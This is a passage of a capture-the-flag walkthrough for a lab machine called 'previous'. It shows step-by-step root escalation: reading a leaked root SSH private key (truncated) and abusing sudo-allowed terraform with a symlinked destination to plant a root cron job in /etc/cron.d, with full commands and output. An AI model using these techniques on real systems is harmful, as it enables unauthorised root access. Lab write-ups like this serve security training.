jeremy@previous:~$ cat /home/jeremy/docker/previous/public/examples/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
...[snip]...
jR+NWPfpk9KHMAAAANcm9vdEBwcmV2aW91cwECAwQFBg==
-----END OPENSSH PRIVATE KEY-----
I can use that to get a shell as root:
oxdf@hacky$ ssh -i ~/keys/previous-root root@previous.htb
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-152-generic x86_64)
...[snip]...
root@previous:~#
Overwrite Variables for Write
I can also write anywhere because I can put a link in the target directory:
jeremy@previous:~$ ln -sf /etc/cron.d/pwn docker/previous/public/examples/pwn
jeremy@previous:~$ ls -l docker/previous/public/examples/
total 4
-rw-r--r-- 1 jeremy jeremy 69 Jan 6 22:59 hello-world.ts
lrwxrwxrwx 1 jeremy jeremy 15 Jan 6 22:59 pwn -> /etc/cron.d/pwn
Now I create a file to copy:
jeremy@previous:~$ echo "* * * * * root touch /tmp/rootcron" > /dev/shm/root/examples/pwn
When I run now, it copies my cron to the /etc/cron.d directory:
jeremy@previous:~$ TF_VAR_source_path=/dev/shm/root/examples/pwn sudo terraform -chdir\=/opt/examples apply
...[snip]...
│ The following provider development overrides are set in the CLI configuration:
│ - previous.htb/terraform/examples in /usr/local/go/bin
...[snip]...
examples_example.example: Refreshing state... [id=/home/jeremy/docker/previous/public/examples/hello-world.ts]
Terraform used the selected providers to generate the following execution plan. Resource actions are indicated with the following
symbols:
-/+ destroy and then create replacement
Terraform will perform the following actions:
# examples_example.example must be replaced
-/+ resource "examples_example" "example" {
~ destination_path = "/home/jeremy/docker/previous/public/examples/hello-world.ts" -> "/home/jeremy/docker/previous/public/examples/pwn" # forces replacement
~ id = "/home/jeremy/docker/previous/public/examples/hello-world.ts" -> "/home/jeremy/docker/previous/public/examples/pwn"
~ source_path = "/root/examples/hello-world.ts" -> "/dev/shm/root/examples/pwn" # forces replacement
}
Plan: 1 to add, 0 to change, 1 to destroy.
Changes to Outputs:
~ destination_path = "/home/jeremy/docker/previous/public/examples/hello-world.ts" -> "/home/jeremy/docker/previous/public/examples/pwn"
Do you want to perform these actions?
Terraform will perform the actions described above.
Only 'yes' will be accepted to approve.
Enter a value: yes
examples_example.example: Destroying... [id=/home/jeremy/docker/previous/public/examples/hello-world.ts]
examples_example.example: Destruction complete after 0s
examples_example.example: Creating...
examples_example.example: Creation complete after 0s [id=/home/jeremy/docker/previous/public/examples/pwn]
Apply complete! Resources: 1 added, 0 changed, 1 destroyed.
Outputs:
destination_path = "/home/jeremy/docker/previous/public/examples/pwn"
And it worked:
jeremy@previous:~$ ls /etc/cron.d
e2scrub_all pwn
And that runs, touching a file:
jeremy@previous:~$ ls -l /tmp/rootcron
-rw-r--r-- 1 root root 0 Jan 6 23:02 /tmp/rootcron
I could have that cron do more interesting things, like a reverse shell, or create a SetUID bash.





